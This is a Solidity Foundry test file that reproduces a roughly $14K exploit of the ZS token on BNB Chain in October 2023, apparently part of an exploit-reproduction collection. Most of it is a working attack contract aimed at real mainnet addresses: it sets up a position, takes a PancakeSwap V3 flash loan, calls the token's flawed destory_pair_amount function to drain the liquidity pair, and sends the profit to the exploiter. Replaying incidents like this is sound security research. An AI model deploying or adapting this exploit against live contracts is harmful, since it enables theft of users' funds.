src/test/2023-10/ZS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "./../basetest.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$14K
8// Attacker : https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e
9// Attack Contract : https://bscscan.com/address/0xa905ff8853edc498a2acddfdfac4a56c2c599930
10// Vulnerable Contract : https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc
11// First Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xe2e87090f47c82eed3697297763edfad8e9689d2da7a4325541087d77432f54f
12// Second Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xbc88aa6057f9da6f88e28bc908baad111ae7545e69fb0c90fbdfd485c9e72192
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L1553
16 
17// @Analysis
18// Post-mortem :
19// Twitter Guy : https://x.com/MetaSec_xyz/status/1711189697534513327
20// Hacking God :
21 
22interface IZS is IERC20 {
23    function Burnamount() external view returns (uint256);
24 
25    function destory_pair_amount() external;
26}
27 
28contract ZSExploit is BaseTestWithBalanceLog {
29    IZS private constant ZS = IZS(0x12b3B6b1055B8Ad1aE8F60a0B6C79A9825Bcb4bC);
30    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
31    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
32    IPancakeRouter private constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
33    Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
34    Uni_Pair_V2 private constant ZS_BUSDT = Uni_Pair_V2(0x162888d39Cfb0990699aD1EA252521b2982ad690);
35 
36    uint256 private constant blocknumToForkFrom = 32_429_591;
37 
38    function setUp() public {
39        vm.createSelectFork("bsc", blocknumToForkFrom);
40        vm.label(address(ZS), "ZS");
41        vm.label(address(BUSDT), "BUSDT");
42        vm.label(address(WBNB), "WBNB");
43        vm.label(address(PancakeRouter), "PancakeRouter");
44        vm.label(address(BUSDT_USDC), "BUSDT_USDC");
45        vm.label(address(ZS_BUSDT), "ZS_BUSDT");
46    }
47 
48    function testExploit() public {
49        deal(address(this), 0.1 ether);
50        deal(address(BUSDT), address(this), 0);
51        // First tx
52        AttackContract attackContract = new AttackContract{value: address(this).balance}();
53        vm.roll(block.number + 2);
54        emit log_named_decimal_uint(
55            "Exploiter BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
56        );
57        // Second tx
58        attackContract.exploitZS();
59 
60        emit log_named_decimal_uint(
61            "Exploiter BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
62        );
63    }
64}
65 
66contract AttackContract is Test {
67    IZS private constant ZS = IZS(0x12b3B6b1055B8Ad1aE8F60a0B6C79A9825Bcb4bC);
68    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
69    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
70    IPancakeRouter private constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
71    Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
72    Uni_Pair_V2 private constant ZS_BUSDT = Uni_Pair_V2(0x162888d39Cfb0990699aD1EA252521b2982ad690);
73    address private immutable exploiter;
74 
75    // Calling ZS token in constructor here is crucial because of ZS transfer function logic
76    // https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L1480
77    constructor() payable {
78        exploiter = msg.sender;
79        BUSDT.approve(address(PancakeRouter), type(uint256).max);
80        WBNBToBUSDT();
81        BUSDTToZS();
82        BUSDT.transfer(address(ZS_BUSDT), 1);
83        ZS.transfer(address(ZS_BUSDT), 1e18);
84        ZS_BUSDT.sync();
85    }
86 
87    function exploitZS() external {
88        uint256 ZSAmountOut = (ZS.balanceOf(address(ZS_BUSDT)) - ZS.Burnamount()) - 1;
89        address[] memory path = new address[](2);
90        path[0] = address(BUSDT);
91        path[1] = address(ZS);
92        uint256[] memory amountsIn = PancakeRouter.getAmountsIn(ZSAmountOut, path);
93        uint256 flashBUSDTAmount = (amountsIn[0] + 1000e18) - BUSDT.balanceOf(address(this));
94        bytes memory data = abi.encode(flashBUSDTAmount);
95        BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, data);
96    }
97 
98    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
99        uint256 amountToRepayFlash = abi.decode(data, (uint256));
100        address[] memory path = new address[](2);
101        path[0] = address(BUSDT);
102        path[1] = address(ZS);
103        uint256[] memory amountsOut = PancakeRouter.getAmountsOut(BUSDT.balanceOf(address(this)) - 1000e18, path);
104        ZS_BUSDT.swap(amountsOut[1], 0, address(this), bytes("_"));
105 
106        // Call to flawed function
107        ZS.destory_pair_amount();
108        path[0] = address(ZS);
109        path[1] = address(BUSDT);
110        amountsOut = PancakeRouter.getAmountsOut(ZS.balanceOf(address(this)), path);
111        BUSDT.transfer(address(ZS_BUSDT), 1);
112        ZS.transfer(address(ZS_BUSDT), ZS.balanceOf(address(this)));
113        ZS_BUSDT.swap(0, amountsOut[1], address(this), bytes(""));
114 
115        BUSDT.transfer(address(BUSDT_USDC), amountToRepayFlash + fee0);
116        BUSDT.transfer(exploiter, BUSDT.balanceOf(address(this)));
117    }
118 
119    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
120        BUSDT.transfer(address(ZS_BUSDT), BUSDT.balanceOf(address(this)) - 1000e18);
121    }
122 
123    function WBNBToBUSDT() private {
124        address[] memory path = new address[](2);
125        path[0] = address(WBNB);
126        path[1] = address(BUSDT);
127        PancakeRouter.swapExactETHForTokens{value: address(this).balance}(
128            0, path, address(this), block.timestamp + 1000
129        );
130    }
131 
132    function BUSDTToZS() private {
133        address[] memory path = new address[](2);
134        path[0] = address(BUSDT);
135        path[1] = address(ZS);
136        PancakeRouter.swapExactTokensForTokens(
137            BUSDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp + 1000
138        );
139    }
140}